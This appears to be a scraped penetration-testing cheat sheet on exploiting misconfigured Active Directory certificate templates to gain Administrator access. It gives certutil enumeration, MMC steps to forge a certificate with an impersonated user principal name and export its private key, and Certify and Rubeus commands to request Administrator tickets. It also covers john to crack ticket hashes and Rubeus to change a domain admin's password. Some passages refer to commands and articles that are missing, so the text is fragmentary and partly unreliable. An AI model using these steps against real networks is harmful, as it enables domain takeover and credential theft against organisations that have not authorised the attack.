We can retrieve certificates information on target Windows machine using certutil.
# Dump general informationcertutil-dump# Dump information about certificate authoritycertutil-cacertutil-catemplates# List all templatescertutil-template# specify the templatecertutil-templateExampleTemplateCopied!
Then check if Allow Full Control or Allow Write include the group which current user belongs to. If so, we can modify the template and might be able to escalate privilege.
If we find the template which contains vulnerable parameters, we can create a new certificate using the template and can gain access to the Administrator's account.
There are some method to create the new one. However, this section provides the easiest way using MMC.
Enter “mmc” (Microsoft Management Console)* in the form and click OK. The console window opens.
In the MMC window, click File → Add/Remote Snap-in..
Add the “Certificates” snap-in in the window then click OK.
Expand the Certificates in the left pane.
Right-click on the Personal and select All Tasks → Request New Certificate.
The Certificate Enrollment window, click Next twice.
In Request Certificates section, click the “More information is required to enroll…”.
In Certificate Properties window, choose types and enter values in the form.
Subject name:
Type: Common name
Value: vulncert (specify an arbitrary name)
Alternative name:
Type: User principal name
Value: tester@abc.example.com (specify the impersonated name and the target domain)
Add each name and click OK.
Return to the Request Certificates section. Check on the certificate we want to request, then click Enroll.
After finishing, expand Personal → Certificates. We should see the new certificate is added.
Double-click on the certificate. The Certificate window opens.
In the Certificate window, select Details tab and choose Subject Alternative Name. We should see the principal name is our specified name e.g. tester@abc.example.com. If we can, click OK to close the window.
At the end, in the MMC window, right-click on the new certificate which we created and select All Tasks → Export… to export the certificate. The Certificate Export Wizard opens.
In Export Private Key section, select “Yes, export the private key” and click Next.
In Export File Format, it is usually okey the default .PFX format so click Next without any changes.
In Security section, check the Password and enter new password.
In File to Export section, enter the file name and Next.
Finally click Finish then we could export the new malicious certificate.
After adding new computer, we might be able to retrieve certificate using this computer account.
At this time, try using alternate UPN (-upn) for administrator because we want to escalate privilege.
If successful, the file which contains certificates and private key (e.g. administrator.pfx) will be saved in current directory.
According to the article above, we may be able to authenticate over some protocols such as LDAP(S). First off, split the administrator.pfx with certificate and private key using two commands below.
After that, using PassTheCert, we can spawn shell as Administrator via Schannel against LDAP(S).
sudo rdate -n <target-ip>
# or
ntpdate <target-ip>
Copied!
# 1. Find
Certify.exe find /vulnerable
Certify.exe request /ca:dc.examle.com\example-CA /template:TemplateName /altname:Administrator
# Copy the cert.pem in the output then paste it to the cert.pem
vim cert.pem
# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request the TGT
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt
# if you gave the password for "cert.pfx", you need to specify the password
Rubeus.exe asktgt /user:Administrator /password:password123 /certificate:cert.pfx /ptt
# or output the file
Rubeus.exe asktgt /user:Administrator /certificate:<Thumbprint> /outfile:ticket.kirbi
Copied!
kirbi2john admin_tgt.kirbi > hash.txt
# or
python2 /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
john --wordlist=wordlist.txt hash.txt
Copied!
# changepw: Change the password of the target user
# /ticket: Specify the TGT file (.kirbi) we've generated
# /new: New password for impersonated user
# /targetuser: Specify the Domain Administrator account name
Rubeus.exe changepw /ticket:tester.kirbi /new:newpass /dc:<ip_of_the_domain_controller> /targetuser:abc.example.com\<da_user_name>
Copied!